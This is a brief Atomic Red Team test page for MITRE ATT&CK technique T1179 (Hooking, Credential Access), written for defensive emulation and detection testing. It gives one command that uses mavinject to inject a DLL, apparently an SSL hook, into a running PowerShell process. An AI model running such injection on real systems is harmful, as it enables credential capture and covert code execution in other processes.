atomic-red-team/Windows/Credential_Access/Hooking.md

Hooking

MITRE ATT&CK Technique: T1179

Sample Windows DLL Injection into PowerShell

 mavinject $pid /INJECTRUNNING C:\Atomic\AtomicSSLHook.dll

Test Script

AtomicSSLHook.dll